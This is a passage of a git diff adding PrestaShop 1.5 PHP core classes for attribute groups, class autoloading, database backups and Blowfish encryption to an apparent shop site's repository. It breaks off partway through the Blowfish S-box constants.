(!Combination::isFeatureActive()) + return array(); + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'attribute` a + '.Shop::addSqlAssociation('attribute', 'a').' + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') + WHERE a.`id_attribute_group` = '.(int)$id_attribute_group.' + ORDER BY `position` ASC + '); + } + + /** + * Get all attributes groups for a given language + * + * @param integer $id_lang Language id + * @return array Attributes groups + */ + public static function getAttributesGroups($id_lang) + { + if (!Combination::isFeatureActive()) + return array(); + + return Db::getInstance()->executeS(' + SELECT DISTINCT agl.`name`, ag.*, agl.* + FROM `'._DB_PREFIX_.'attribute_group` ag + '.Shop::addSqlAssociation('attribute_group', 'ag').' + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND `id_lang` = '.(int)$id_lang.') + ORDER BY `name` ASC + '); + } + + /** + * Delete several objects from database + * + * return boolean Deletion result + */ + public function deleteSelection($selection) + { + /* Also delete Attributes */ + foreach ($selection as $value) + { + $obj = new AttributeGroup($value); + if (!$obj->delete()) + return false; + } + return true; + } + + public function setWsProductOptionValues($values) + { + $ids = array(); + foreach ($values as $value) + $ids[] = intval($value['id']); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'attribute` + WHERE `id_attribute_group` = '.(int)$this->id.' + AND `id_attribute` NOT IN ('.implode(',', $ids).')' + ); + $ok = true; + foreach ($values as $value) + { + $result = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute` + SET `id_attribute_group` = '.(int)$this->id.' + WHERE `id_attribute` = '.(int)$value['id'] + ); + if ($result === false) + $ok = false; + } + return $ok; + } + + public function getWsProductOptionValues() + { + $result = Db::getInstance()->executeS(' + SELECT a.id_attribute AS id + FROM `'._DB_PREFIX_.'attribute` a + '.Shop::addSqlAssociation('attribute', 'a').' + WHERE a.id_attribute_group = '.(int)$this->id + ); + return $result; + } + + /** + * Move a group attribute + * @param boolean $way Up (1) or Down (0) + * @param integer $position + * @return boolean Update result + */ + public function updatePosition($way, $position) + { + if (!$res = Db::getInstance()->executeS(' + SELECT ag.`position`, ag.`id_attribute_group` + FROM `'._DB_PREFIX_.'attribute_group` ag + WHERE ag.`id_attribute_group` = '.(int)Tools::getValue('id_attribute_group', 1).' + ORDER BY ag.`position` ASC' + )) + return false; + + foreach ($res as $group_attribute) + if ((int)$group_attribute['id_attribute_group'] == (int)$this->id) + $moved_group_attribute = $group_attribute; + + if (!isset($moved_group_attribute) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute_group` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_group_attribute['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_group_attribute['position'].' AND `position` >= '.(int)$position) + ) && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute_group` + SET `position` = '.(int)$position.' + WHERE `id_attribute_group`='.(int)$moved_group_attribute['id_attribute_group']) + ); + } + + /** + * Reorder group attribute position + * Call it after deleting a group attribute. + * + * @return bool $return + */ + public static function cleanPositions() + { + $return = true; + + $sql = ' + SELECT `id_attribute_group` + FROM `'._DB_PREFIX_.'attribute_group` + ORDER BY `position`'; + $result = Db::getInstance()->executeS($sql); + + $i = 0; + foreach ($result as $value) + $return = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute_group` + SET `position` = '.(int)$i++.' + WHERE `id_attribute_group` = '.(int)$value['id_attribute_group'] + ); + return $return; + } + + /** + * getHigherPosition + * + * Get the higher group attribute position + * + * @return integer $position + */ + public static function getHigherPosition() + { + $sql = 'SELECT MAX(`position`) + FROM `'._DB_PREFIX_.'attribute_group`'; + $position = DB::getInstance()->getValue($sql); + return (is_numeric($position)) ? $position : -1; + } +} + diff --git a/classes/Autoload.php b/classes/Autoload.php new file mode 100755 index 0000000..6431f7c --- /dev/null +++ b/classes/Autoload.php @@ -0,0 +1,247 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class Autoload +{ + /** + * File where classes index is stored + */ + const INDEX_FILE = 'cache/class_index.php'; + + /** + * @var Autoload + */ + protected static $instance; + + /** + * @var string Root directory + */ + protected $root_dir; + + /** + * @var array array('classname' => 'path/to/override', 'classnamecore' => 'path/to/class/core') + */ + public $index = array(); + + protected function __construct() + { + $this->root_dir = dirname(dirname(__FILE__)).'/'; + if (file_exists($this->root_dir.Autoload::INDEX_FILE)) + $this->index = include($this->root_dir.Autoload::INDEX_FILE); + } + + /** + * Get instance of autoload (singleton) + * + * @return Autoload + */ + public static function getInstance() + { + if (!Autoload::$instance) + Autoload::$instance = new Autoload(); + + return Autoload::$instance; + } + + /** + * Retrieve informations about a class in classes index and load it + * + * @param string $classname + */ + public function load($classname) + { + // Smarty uses its own autoloader, so we exclude all Smarty classes + if (strpos(strtolower($classname), 'smarty_') === 0) + return; + + // regenerate the class index if the requested class is not found in the index or if the requested file doesn't exists + if (!isset($this->index[$classname]) + || ($this->index[$classname] && !is_file($this->root_dir.$this->index[$classname])) + || (isset($this->index[$classname.'Core']) && $this->index[$classname.'Core'] && !is_file($this->root_dir.$this->index[$classname.'Core']))) + $this->generateIndex(); + + // If $classname has not core suffix (E.g. Shop, Product) + if (substr($classname, -4) != 'Core') + { + // If requested class does not exist, load associated core class + if (isset($this->index[$classname]) && !$this->index[$classname]) + { + require($this->root_dir.$this->index[$classname.'Core']); + + // Since the classname does not exists (we only have a classCore class), we have to emulate the declaration of this class + $class_infos = new ReflectionClass($classname.'Core'); + eval(($class_infos->isAbstract() ? 'abstract ' : '').'class '.$classname.' extends '.$classname.'Core {}'); + } + else + { + // request a non Core Class load the associated Core class if exists + if (isset($this->index[$classname.'Core'])) + require_once($this->root_dir.$this->index[$classname.'Core']); + if (isset($this->index[$classname])) + require_once($this->root_dir.$this->index[$classname]); + } + } + // Call directly ProductCore, ShopCore class + else{ + // echo $this->root_dir.$this->index[$classname]; + // die(); + if($this->root_dir.$this->index[$classname]=='/opt/web/clients/g/garancia/garancia-beauty.com/public_html/'){ + // require($this->root_dir.$this->index[$classname]); + }else{ + require($this->root_dir.$this->index[$classname]); + } + + } + } + + /** + * Generate classes index + */ + /*public function generateIndex() + { + $classes = array_merge( + $this->getClassesFromDir('classes/'), + $this->getClassesFromDir('override/classes/'), + $this->getClassesFromDir('controllers/'), + $this->getClassesFromDir('override/controllers/') + ); + ksort($classes); + $content = ''; + + // Write classes index on disc to cache it + $filename = $this->root_dir.Autoload::INDEX_FILE; + if ((file_exists($filename) && !is_writable($filename)) || !is_writable(dirname($filename))) + { + header('HTTP/1.1 503 temporarily overloaded'); + // Cannot use PrestaShopException in this context + die('/cache/class_index.php is not writable, please give write permissions (chmod 666) on this file.'); + } + else + { + // Let's write index content in cache file + // In order to be sure that this file is correctly written, a check is done on the file content + $loop_protection = 0; + do + { + $integrity_is_ok = false; + file_put_contents($filename, $content, LOCK_EX); + if ($loop_protection++ > 10) + break; + + // If the file content end with PHP tag, integrity of the file is ok + if (preg_match('#\?>\s*$#', file_get_contents($filename))) + $integrity_is_ok = true; + } + while (!$integrity_is_ok); + + if (!$integrity_is_ok) + { + file_put_contents($filename, '', LOCK_EX); + // Cannot use PrestaShopException in this context + die('Your file '.$filename.' is corrupted. Please remove this file, a new one will be regenerated automatically'); + } + } + + $this->index = $classes; + }*/ + + public function generateIndex() + { + $classes = array_merge( + $this->getClassesFromDir('classes/'), + $this->getClassesFromDir('override/classes/'), + $this->getClassesFromDir('controllers/'), + $this->getClassesFromDir('override/controllers/') + ); + ksort($classes); + $content = ''; + + // Write classes index on disc to cache it + $filename = $this->root_dir.Autoload::INDEX_FILE; + if ((file_exists($filename) && !is_writable($filename)) || !is_writable(dirname($filename))) + { + header('HTTP/1.1 503 temporarily overloaded'); + // Cannot use PrestaShopException in this context + die('/cache/class_index.php is not writable, please give write permissions (chmod 666) on this file.'); + } + else + { + $filename_tmp = tempnam(dirname($filename), basename($filename.'.')); + if($filename_tmp !== FALSE and file_put_contents($filename_tmp, $content, LOCK_EX) !== FALSE) { + rename($filename_tmp, $filename); + } else { + // $filename_tmp couldn't be written. $filename should be there anyway (even if outdated), + // no need to die. + error_log('Cannot write temporary file '.$filename_tmp); + } + } + + $this->index = $classes; + } + + /** + * Retrieve recursively all classes in a directory and its subdirectories + * + * @param string $path Relativ path from root to the directory + * @return array + */ + protected function getClassesFromDir($path) + { + $classes = array(); + + foreach (scandir($this->root_dir.$path) as $file) + { + if ($file[0] != '.') + { + if (is_dir($this->root_dir.$path.$file)) + $classes = array_merge($classes, $this->getClassesFromDir($path.$file.'/')); + else if (substr($file, -4) == '.php') + { + $content = file_get_contents($this->root_dir.$path.$file); + $pattern = '#\W((abstract\s+)?class|interface)\s+(?P'.basename($file, '.php').'(Core)?)' + .'(\s+extends\s+[a-z][a-z0-9_]*)?(\s+implements\s+[a-z][a-z0-9_]*(\s*,\s*[a-z][a-z0-9_]*)*)?\s*\{#i'; + if (preg_match($pattern, $content, $m)) + { + $classes[$m['classname']] = $path.$file; + if (substr($m['classname'], -4) == 'Core') + $classes[substr($m['classname'], 0, -4)] = ''; + } + } + } + } + + return $classes; + } + + public function getClassPath($classname) + { + return isset($this->index[$classname]) ? $this->index[$classname] : null; + } +} + diff --git a/classes/Backup.php b/classes/Backup.php new file mode 100755 index 0000000..3368a23 --- /dev/null +++ b/classes/Backup.php @@ -0,0 +1,298 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class BackupCore +{ + /** @var integer Object id */ + public $id; + /** @var string Last error messages */ + public $error; +/** @var string default backup directory. */ + public static $backupDir = '/backups/'; + /** @var string custom backup directory. */ + public $customBackupDir = null; + + public $psBackupAll = true; + public $psBackupDropTable = true; + + /** + * Creates a new backup object + * + * @param string $filename Filename of the backup file + */ + public function __construct($filename = null) + { + if ($filename) + $this->id = $this->getRealBackupPath($filename); + + $psBackupAll = Configuration::get('PS_BACKUP_ALL'); + $psBackupDropTable = Configuration::get('PS_BACKUP_DROP_TABLE'); + $this->psBackupAll = $psBackupAll !== false ? $psBackupAll : true; + $this->psBackupDropTable = $psBackupDropTable !== false ? $psBackupDropTable : true; + } + + /** + * you can set a different path with that function + * + * @TODO include the prefix name + * @param string $dir + * @return boolean bo + */ + public function setCustomBackupPath($dir) + { + $customDir = DIRECTORY_SEPARATOR.trim($dir, '/').DIRECTORY_SEPARATOR; + if (is_dir(_PS_ADMIN_DIR_.DIRECTORY_SEPARATOR.$customDir.DIRECTORY_SEPARATOR)) + $this->customBackupDir = $customDir; + else + return false; + + return true; + + } + + /** + * get the path to use for backup (customBackupDir if specified, or default) + * + * @param string $filename filename to use + * @return string full path + */ + public function getRealBackupPath($filename = null) + { + $backupDir = Backup::getBackupPath($filename); + if (!empty($this->customBackupDir)) + { + $backupDir = str_replace(_PS_ADMIN_DIR_.self::$backupDir, _PS_ADMIN_DIR_.$this->customBackupDir, $backupDir); + + if (strrpos($backupDir, DIRECTORY_SEPARATOR)) + $backupDir .= DIRECTORY_SEPARATOR; + } + return $backupDir; + } + /** + * Get the full path of the backup file + * + * @param string $filename prefix of the backup file (datetime will be the second part) + * @return The full path of the backup file, or false if the backup file does not exists + */ + public static function getBackupPath($filename) + { + $backupdir = realpath(_PS_ADMIN_DIR_.self::$backupDir); + + if ($backupdir === false) + die(Tools::displayError('"Backup" directory does not exist.')); + + // Check the realpath so we can validate the backup file is under the backup directory + if (!empty($filename)) + $backupfile = realpath($backupdir.'/'.$filename); + else + $backupfile = $backupdir.DIRECTORY_SEPARATOR; + + if ($backupfile === false || strncmp($backupdir, $backupfile, strlen($backupdir)) != 0) + die (Tools::displayError()); + + return $backupfile; + } + + /** + * Get the URL used to retreive this backup file + * + * @return The url used to request the backup file + */ + public function getBackupURL() + { + $adminDir = __PS_BASE_URI__.substr($_SERVER['SCRIPT_NAME'], strlen(__PS_BASE_URI__) ); + $adminDir = substr($adminDir, 0, strrpos($adminDir, '/')); + + return $adminDir.'/backup.php?filename='.basename($this->id); + } + + /** + * Delete the current backup file + * + * @return boolean Deletion result, true on success + */ + public function delete() + { + if (!$this->id || !unlink($this->id)) + { + $this->error = Tools::displayError('Error deleting').' '.($this->id ? '"'.$this->id.'"' : Tools::displayError('Invalid ID')); + return false; + } + return true; + } + + /** + * Deletes a range of backup files + * + * @return boolean True on success + */ + public function deleteSelection($list) + { + foreach ($list as $file) + { + $backup = new Backup($file); + if (!$backup->delete()) + { + $this->error = $backup->error; + return false; + } + } + return true; + } + + /** + * Creates a new backup file + * + * @return boolean true on successful backup + */ + public function add() + { + if (!$this->psBackupAll) + $ignore_insert_table = array(_DB_PREFIX_.'connections', _DB_PREFIX_.'connections_page', _DB_PREFIX_.'connections_source', _DB_PREFIX_.'guest', _DB_PREFIX_.'statssearch'); + else + $ignore_insert_table = array(); + + // Generate some random number, to make it extra hard to guess backup file names + $rand = dechex ( mt_rand(0, min(0xffffffff, mt_getrandmax() ) ) ); + $date = time(); + $backupfile = $this->getRealBackupPath().$date.'-'.$rand.'.sql'; + + // Figure out what compression is available and open the file + if (function_exists('bzopen')) + { + $backupfile .= '.bz2'; + $fp = @bzopen($backupfile, 'w'); + } + else if (function_exists('gzopen')) + { + $backupfile .= '.gz'; + $fp = @gzopen($backupfile, 'w'); + } + else + $fp = @fopen($backupfile, 'w'); + + if ($fp === false) + { + echo Tools::displayError('Unable to create backup file').' "'.addslashes($backupfile).'"'; + return false; + } + + $this->id = realpath($backupfile); + + fwrite($fp, '/* Backup for '.Tools::getHttpHost(false, false).__PS_BASE_URI__."\n * at ".date($date)."\n */\n"); + fwrite($fp, "\n".'SET NAMES \'utf8\';'."\n\n"); + + // Find all tables + $tables = Db::getInstance()->executeS('SHOW TABLES'); + $found = 0; + foreach ($tables as $table) + { + $table = current($table); + + // Skip tables which do not start with _DB_PREFIX_ + if (strlen($table) < strlen(_DB_PREFIX_) || strncmp($table, _DB_PREFIX_, strlen(_DB_PREFIX_)) != 0) + continue; + + // Export the table schema + $schema = Db::getInstance()->executeS('SHOW CREATE TABLE `'.$table.'`'); + + if (count($schema) != 1 || !isset($schema[0]['Table']) || !isset($schema[0]['Create Table'])) + { + fclose($fp); + $this->delete(); + echo Tools::displayError('An error occurred while backing up. Unable to obtain the schema of').' "'.$table; + return false; + } + + fwrite($fp, '/* Scheme for table '.$schema[0]['Table']." */\n"); + + if ($this->psBackupDropTable) + fwrite($fp, 'DROP TABLE IF EXISTS `'.$schema[0]['Table'].'`;'."\n"); + + fwrite($fp, $schema[0]['Create Table'].";\n\n"); + + if (!in_array($schema[0]['Table'], $ignore_insert_table)) + { + $data = Db::getInstance()->query('SELECT * FROM `'.$schema[0]['Table'].'`', false); + $sizeof = DB::getInstance()->NumRows(); + $lines = explode("\n", $schema[0]['Create Table']); + + if ($data && $sizeof > 0) + { + // Export the table data + fwrite($fp, 'INSERT INTO `'.$schema[0]['Table']."` VALUES\n"); + $i = 1; + while ($row = DB::getInstance()->nextRow($data)) + { + $s = '('; + + foreach ($row as $field => $value) + { + $tmp = "'".pSQL($value, true)."',"; + if ($tmp != "'',") + $s .= $tmp; + else + { + foreach ($lines as $line) + if (strpos($line, '`'.$field.'`') !== false) + { + if (preg_match('/(.*NOT NULL.*)/Ui', $line)) + $s .= "'',"; + else + $s .= 'NULL,'; + break; + } + } + } + $s = rtrim($s, ','); + + if ($i % 200 == 0 && $i < $sizeof) + $s .= ");\nINSERT INTO `".$schema[0]['Table']."` VALUES\n"; + elseif ($i < $sizeof) + $s .= "),\n"; + else + $s .= ");\n"; + + fwrite($fp, $s); + ++$i; + } + } + } + $found++; + } + + fclose($fp); + if ($found == 0) + { + $this->delete(); + echo Tools::displayError('No valid tables were found to backup.' ); + return false; + } + + return true; + } + +} diff --git a/classes/Blowfish.php b/classes/Blowfish.php new file mode 100755 index 0000000..1fffd8b --- /dev/null +++ b/classes/Blowfish.php @@ -0,0 +1,481 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('PS_UNPACK_NATIVE', 1); +define('PS_UNPACK_MODIFIED', 2); + +class BlowfishCore extends Crypt_Blowfish +{ + function encrypt($plaintext) + { + if (($length = strlen($plaintext)) >= 1048576) + return false; + + $ciphertext = ''; + $paddedtext = $this->maxi_pad($plaintext); + $strlen = strlen($paddedtext); + for($x = 0; $x < $strlen; $x += 8) + { + $piece = substr($paddedtext, $x, 8); + $cipher_piece = parent::encrypt($piece); + $encoded = base64_encode($cipher_piece); + $ciphertext = $ciphertext.$encoded; + } + return $ciphertext.sprintf('%06d', $length); + } + + function decrypt($ciphertext) + { + $plainTextLength = intval(substr($ciphertext, -6)); + $ciphertext = substr($ciphertext, 0, -6); + + $plaintext = ''; + $chunks = explode('=', $ciphertext); + $ending_value = sizeof($chunks) ; + for($counter = 0; $counter < ($ending_value - 1); $counter++) + { + $chunk = $chunks[$counter].'='; + $decoded = base64_decode($chunk); + $piece = parent::decrypt($decoded); + $plaintext = $plaintext.$piece; + } + return substr($plaintext, 0, $plainTextLength); + } + + function maxi_pad($plaintext) + { + $str_len = sizeof($plaintext); + $pad_len = $str_len % 8; + for($x = 0; $x < $pad_len; $x++) + $plaintext = $plaintext.' '; + return $plaintext; + } +} + +class Crypt_Blowfish +{ + + var $_P = array( + 0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, + 0xA4093822, 0x299F31D0, 0x082EFA98, 0xEC4E6C89, + 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C, + 0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, + 0x9216D5D9, 0x8979FB1B + ); + + var $_S = array( + array( + 0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, + 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, + 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, + 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E, + 0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, + 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, + 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, + 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E, + 0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, + 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, + 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, + 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A, + 0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, + 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, + 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, + 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032, + 0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, + 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, + 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, + 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0, + 0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, + 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, + 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, + 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE, + 0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, + 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, + 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, + 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7, + 0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, + 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, + 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, + 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09, + 0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, + 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, + 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, + 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8, + 0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, + 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, + 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, + 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573, + 0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, + 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, + 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, + 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8, + 0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, + 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, + 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, + 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C, + 0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, + 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, + 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, + 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9, + 0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, + 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, + 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, + 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF, + 0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, + 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, + 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, + 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915, + 0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, + 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, + 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, + 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A + ), + array( + 0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, + 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, + 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, + 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E, + 0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, + 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, + 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, + 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1, + 0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, + 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, + 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, + 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD, + 0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, + 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, + 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, + 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331, + 0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, + 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, + 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, + 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87, + 0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, + 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, + 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, + 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD, + 0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, + 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, + 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, + 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3, + 0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, + 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, + 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, + 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960, + 0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, + 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, + 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, + 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84, + 0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, + 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, + 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, + 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E, + 0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, + 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, + 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, + 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281, + 0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, + 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, + 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, + 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73, + 0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, + 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, + 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, + 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250, + 0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, + 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, + 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, + 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061, + 0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, + 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, + 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, + 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC, + 0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, + 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, + 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, + 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7 + ), + array( + 0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, + 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, + 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, + 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840, + 0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, + 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, + 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, + 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB, + 0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, + 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, + 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, + 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B, + 0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, + 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, + 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, + 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B, + 0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, + 0xA62A4A56, 